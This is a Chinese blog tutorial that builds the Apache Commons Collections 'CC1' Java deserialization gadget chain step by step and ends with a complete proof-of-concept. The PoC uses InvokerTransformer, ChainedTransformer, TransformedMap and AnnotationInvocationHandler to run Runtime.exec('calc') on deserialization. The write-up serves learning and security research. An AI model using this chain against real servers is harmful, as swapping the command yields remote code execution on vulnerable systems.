一文带你搞懂CC1链(小白入门必看文章)

1. 简介

1.1 Commons Collections简介

​         根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

​         Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

1.2 反序列化漏洞简介

​         cc链是Apache commons collections反序列漏洞利用链的简称。

​         一般来说,把对象转换为字节系列的过程称为对象的序列化,把字节序列恢复成对象的过程成为对象的反序列化。用户一旦输入不可信数据进行了反序列化操作,那么就有可能触发序列化参数中包含的恶意代码。

​         ObjectOutputStream 类的 writeObject() 方法可以对参数指定的 obj 对象进行序列化操作, 并将得到的字节序列写到目标输出流中。相反的,ReadObject()方法则是从源输入流中读取字节序列,再将其反序列化为对象并返回。

序列化:对象–>字节 #用于存储,将对象存储到内存中去,需要序列化

反序列化:字节–>对象 #用于展示,将字节取出来进行展示,需要反序列化

ObjectOutputStream:WriteObject()

ObjectInputStream:ReadObject()

这是一段存储一个person的序列化的代码:

public class Person implements Serializable {
   private int age;
   private String name;
   private String sex;

   public int getAge() {
      return age;
       }
   
       public void setAge(int age) {
      this.age = age;
       }
    
       public String getName() {
      return name;
       }
    
       public void setName(String name) {
      this.name = name;
       }
    
       public String getSex() {
      return sex;
       }
    
       public void setSex(String sex) {
      this.sex = sex;
       }
    }
 public class TestObjSerializeAndDeserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
serializePerson();
Person person = unserializePerson();
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
       person.getName(), person.getAge(), person.getSex()));
}

 /**
     * @description: 序列化person对象
     * @param: []
     * @return: void
    * @date: 2023/11/27 13:38
**/
   private static void serializePerson() throws IOException {
    Person person = new Person();
    person.setName("tom");
    person.setAge(26);
    person.setSex("男");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(
            new FileOutputStream(new File("person.txt")));
    objectOutputStream.writeObject(person);
    System.out.println("序列化person对象成功!");
    objectOutputStream.close();
}

/**
 * @description: 反序列化person
 * @param: []
 * @return: com.serializable.Person
 * @date: 2023/11/27 13:41
**/
private static Person unserializePerson() throws IOException, ClassNotFoundException {
    ObjectInputStream objectInputStream = new ObjectInputStream(
            new FileInputStream(new File("person.txt")));
    Person person = (Person) objectInputStream.readObject();
    System.out.println("反序列化person成功!");
    return person;
}
}

存储在文本中的内容,即person.txt内容如下:
在这里插入图片描述

16进制打开如下:

在这里插入图片描述

反序列化漏洞的危害:

  1. 任意代码执行
  2. 获取shell
  3. 对服务器进行破坏

早期受影响的相关z组件件:

WebLogic、WebSphere、JBoss、Jenkins、OpenNMS

2. 环境搭建

2.1 版本说明

jdk:jdk8u65

commons collection:3.2.1

2.2 jdk配置

jdk下载:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

在这里插入图片描述

源代码下载:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

在这里插入图片描述

点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们辉压到当前文件夹下,然后把之前源码包(idk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到sr文件夹中去。打开IDEA,选择文件 —>项目结构 -->SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.3 commons collection配置

maven直接导入即可,在pom.xml文件中进行依赖导入

  <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
  </dependency>

在这里插入图片描述

3. 原理分析

3.1 CC1复现

​ cc1链中的源头是commons collections库中的transformer接口,这个接口里边有个transform方法。

org.apache.commons.collections.Transformer#transform

在这里插入图片描述
在这里插入图片描述

​ 通过查看继承层次结构图,我们找到了InvokerTransformer类(当然不止这一个类),在第119行,InvokerTransformer类重写了transform方法,并且该类还继承了Serializable序列化接口。

在这里插入图片描述

找到它的构造器和transform方法

//含参构造器,我们在外部调用类时需要用到
//参数为方法名,所调用方法的参数类型,所调用方法的参数值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
}

//重写的transform方法
//接收一个对象
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
            //可控的获取一个完整类的原型
            Class cls = input.getClass();
            //可控的获取该类的某个特定方法
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
             //调用该类的方法
             //可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点
            return method.invoke(input, this.iArgs);
     } 
     //省略.....
    
}

3.2 POC

poc利用图如下:

在这里插入图片描述

poc:

package com.transformer;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Transform {

        public static void main(String[] args) {
            Runtime runtime = Runtime.getRuntime();
            InvokerTransformer invokerTransformer = new InvokerTransformer(
                    "exec", new Class[]{String.class}, new Object[]{"calc"});
            invokerTransformer.transform(runtime);
        }
}

效果如下:

在这里插入图片描述

3.3 漏洞链分析

接下来就是一步步回溯,寻找合适的子类,构造漏洞链,找到直接到达重写了readObject的类,完成我们的"万里归途"。

目标:构造利用链,直达重写readObject的类

3.3.1 阶段一

寻找调用transform()的类的方法

​ 这里直接对这个方法右键查找用法,可以看到有很多都调用了这个方法,那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法:

在这里插入图片描述

我们找到该类的构造方法和checkSetValue方法

 //接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

//接受一个对象类型的参数
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

​ 由于是protect权限,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法checkSetValue()内部的这个transform(),发现是valueTransformer进行调用,查看valueTransformer,发现valueTransformer也是protect权限,继续查看valueTransformer从哪里来的,最后我们发现decorate()调用TransformedMap()的构造方法来的,所有涉及到的方法,只有decorate的权限修饰符是public

​ 也就是说,我们可以控制decorate()方法内的valueTransformer的值

protected final Transformer valueTransformer;

//类TransformedMap提供该方法给外部进行TransformedMap构造
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);  //调用构造方法
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;  //valueTransformer在这里被赋值
}

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);  //由valueTransformer进行调用
}

利用思路:

我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法

decorate()–>installClass(TransformedMa)–>checkSetValue()

​ 这里我们不用原先的InvokerTransformer.transform()方法,由于我们使用的是transformMap的方法,所以先去构建一个HashMap,再通过这个map来调用transformer内的decorate()来完成一个transformedMap的实例化,最后再想办法触发checkSetValue()方法即可

Runtime r=Runtime.*getRuntime*();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
 HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap

 Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer); 
//静态方法staic修饰直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.

3.3.2 阶段二

寻找调用checkSetValue()的方法

前置条件:valueTransformer,已经完成赋值

接下来想办法去触发checkSetValue(),通过一个用法那里直接点进去,看谁对调用这个方法checkSetValue()

在这里插入图片描述

这是一个内部类

在这里插入图片描述

​ 在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法。简单来说就是通过通过对setValue()方法的调用来触发checkSetValue()方法

​ MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法,以下是父类AbstractMapEntryDecorator的setValue()方法

在这里插入图片描述

​ MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调用checkSetValue()

public class TransformedMapDemo {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();

        map.put("key","value"); //给map一个键值对,方便遍历

        //构造transformedmap是调用tranform()的前置条件
        Map<Object, Object> transformedMap = TransformedMap.decorate(
                map, null, invokerTransformer);

        for(Map.Entry entry:transformedMap.entrySet()) {   //遍历Map常用格式
            //调用setValue方法,通过setValue去触发checkSetValue()
            entry.setValue(runtime);      
        }
    }
}
for(Map.Entry entry:transformedMap.entrySet()) {   //遍历Map常用格式
    entry.setValue(runtime);                     
}
  在这里, transformedMap是经过装饰的 Map对象,具有特殊的行为。通过 entrySet() 方法获取了键值对的集合,然后进行遍历。transformedMap.entrySet()返回的是一个包含 `Map.Entry` 对象的集合,这样就可以遍历 M ap 的键值对。Map.Entry 是一个内部接口,用于表示`Map`中 的键值对,其中可以通过 getKey() 获取键,通过 getValue()获取值。

​ 对于每个遍历到的键值对,调用了 setValue方法。在普通的Map中,这个方法通常用于修改值。但是在经过 TransformedMap装饰后,setValue方法的行为由装饰器定义。也就是说本来调用的map类中的setValue的方法,但是我们使用的是TransformedMap,TransformedMap装饰了map类中的setValue的方法,所以我们实际调用的MapEntry中的setValue()方法

在这里插入图片描述

在这里插入图片描述

过程梳理:

在这里插入图片描述

​ 首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,

​ 在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,

​ 然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

3.3.3 阶段三

追寻setValue,找到readObject()

通过在AbstractInputCheckedMapDecorator中的setValue()查找用法,来确定有哪些方法调用了setValue()方法

(jdk自带的包里面有些文件是反编译的.class文件)所以无法查找,需要去下载相应的源代码文件

rt.jar包下

sun.reflect.annotation.AnnotationInvocationHandler

在这里插入图片描述

在这里插入图片描述

接下来我们找到该类的构造方法:

//接收两个参数,这个类是 Annotation 接口的子类,或者是直接实现了 Annotation 接口的类
//第二个参数我们可控,可以传入我们之前写的transformedMap类
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

由于memberValues可控,这样我们就可以传入自己需要的,然后实现setValue方法

问题:

我们可以看到定义这个类时,并没有写明public之类的声明,所以说明这个类只能在sun.reflect.annotation这个本包下被调用,我们要想在外部调用,需要用到反射来解决:

在这里插入图片描述

以下是粗略的poc代码:

public static void main(String[] args) throws Exception {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer(
            "exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object,Object> map=new HashMap<>();
    map.put("key","value"); //给map一个键值对,方便遍历

    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


    // 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");


    // 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
    // 相当于提升自己权限,以便可以访问非公共构造函数
    constructor.setAccessible(true);

    //这里第一个是参数是注解的类原型,第二个就是我们之前的类
    // 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
    // 传递Override.class和decorate两个参数给构造函数
    Object o = constructor.newInstance(Override.class, transformedMap);
    serialize(o);  //序列化
    unserialize("CC1.txt"); //反序列化

}
//定义序列化方法
public static void serialize(Object object) throws Exception{
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
   oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
   ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
   objectInputStream.readObject();
}

出错了,没有弹出,这是什么什么问题

3.4 问题分析

3.4.1 问题1

解决Runtime没有序列化的问题

在这里插入图片描述

可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的

在这里插入图片描述

我们怎么获取一个实例化对象呢,这里我们看到在RunTime类中存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:

所以我们用反射:

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class rc=Class.forName("java.lang.Runtime");                 //获取类原型
        Method getRuntime= rc.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法,
        Runtime r=(Runtime) getRuntime.invoke(null,null);    //获取实例化对象,因为该方法为无参方法,所以全为null
        Method exec=rc.getDeclaredMethod("exec", String.class);        //获取exec方法
        exec.invoke(r,"calc");                                         //实现命令执行
}

按照上述思想,那么我们在利用transform()方法实现上述代码

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

 Class runtimeClass = Class.forName("java.lang.Runtime");  //获取原型类

/* Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime", null);
 Runtime runtime = (Runtime) getRuntime.invoke(null, null);
 Method exec = runtime.getClass().getDeclaredMethod("exec", String.class);
 exec.invoke(runtime, "calc");*/


 //利用transform方法实现上述代码

 //这里模拟获取getRuntime方法,它的具体操作步骤类似之前
 Method getRuntime = (Method) new InvokerTransformer(
         "getDeclaredMethod", new Class[]{String.class, Class[].class},
         new Object[]{"getRuntime", null}).transform(Runtime.class);

 //这里模拟获取invoke方法
 Runtime runtime = (Runtime) new InvokerTransformer(
         "invoke", new Class[]{Object.class, Object[].class},
         new Object[]{null, null}).transform(getRuntime);


 //这里模拟获取exec方法,并进行命令执行
 new InvokerTransformer("exec", new Class[]{String.class}, 
         new Object[]{"calc"}).transform(runtime);

}

在这里插入图片描述

看起来是实现了,但是存在一个问题,但是要创建一个个的嵌套参数,很麻烦

于是通过查找commons collection中的Transformer接口中的transform方法(最开始的transform方法)

选中,然后按住ctrl+h快捷键,就能看到该方法的继承关系,其中有一个ChainedTransformer类

在这里插入图片描述

在这里插入图片描述

使用ChainedTransformer来重新实现,代码如下:

public static void main(String[] args) throws ClassNotFoundException {
     Class runtimeClass = Class.forName("java.lang.Runtime");  //获取原型类
     Transformer[] Transformers=new Transformer[]{
             new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
             new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
             new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
     };
     //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
     ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
     chainedTransformer.transform(Runtime.class);
}

两个代码都可以运行

在这里插入图片描述

3.4.2 问题2

解决setValue()方法无法执行的原因

你以为到这就完成了,其实并没有,不知道你是否发现,代码其实是不完整的,完整的代码如下:

public static void main(String[] args) throws Exception {
    Class<?> runtime = Class.forName("java.lang.Runtime");
    //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
    Transformer[] Transformers=new Transformer[]{
            new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
    ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
//        chainedTransformer.transform(Runtime.class);


    HashMap<Object, Object> map = new HashMap<>();
    map.put("key", "value");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);


    Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandlerConstructor.setAccessible(true);
    Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

    serialize(object);
    unserialize("CC1.txt");
}

//定义序列化方法
public static void serialize(Object object) throws Exception{
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
    oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
    ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
    objectInputStream.readObject();
}

完整的代码是跑不起来的,这就需要我们去解决第二个问题,

​ 由代码我们很清楚的看出来,setValue()方法是在两个if语句下边,也就是说我们要满足两个if语句才能真正去调用我们需要的setValue()方法,这也是我们为什么在阶段三无法弹出计算器的原因之一。

在这里插入图片描述

现在要解决setValue()无法执行的问题,原因是memberType的值为空,打断点,调试如下:

在这里插入图片描述

原因分析,其实是因为这边给定的参数有问题

在这里插入图片描述

由于overRide是空的,没有值,所以我们换一个有值的注解

在这里插入图片描述

在这里插入图片描述

既然换成有值的话,那么上百年的map.put(0哪里也需要去改成相应的value,代码如下:

在这里插入图片描述

3.4.3 问题3

解决无法控制setValue值的问题

虽然有值了,但是传进去的参数会被修改,这不符合我们的目的,断点截图如下:

在这里插入图片描述

在这里插入图片描述

​ 由于每次给setValue的值都被修改,这不符合我们的期望。于是查找transform()的实现方法,发现存在一个类ConstantTransformer,无论输入什么,它都会返回一个常量

在这里插入图片描述

在这里插入图片描述

这个类很符合我们的期望,于是我们对此类进行利用,通过此类来完成对setValue的调用。添加相关代码如下,最后成功弹出。

在这里插入图片描述

3.5 完整CC1链

public static void main(String[] args) throws Exception {
    Class<?> runtime = Class.forName("java.lang.Runtime");
    //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
    Transformer[] Transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
    ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

    HashMap<Object, Object> map = new HashMap<>();
    map.put("value", "value");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);


    Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandlerConstructor.setAccessible(true);
    Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

    serialize(object);
    unserialize("CC1.txt");
}

//定义序列化方法
public static void serialize(Object object) throws Exception{
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
    oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
    ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
    objectInputStream.readObject();
}

4. 参考资料

B站up主-白日梦组长
B站大佬的视频讲解的非常的清楚由浅入深,引人入胜,让人回味无穷,建议时间充裕的小伙伴可以去看看,本文只是自己学习cc链的过程的一个记录,并不算是一个真正科普的文章。

  • 23
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值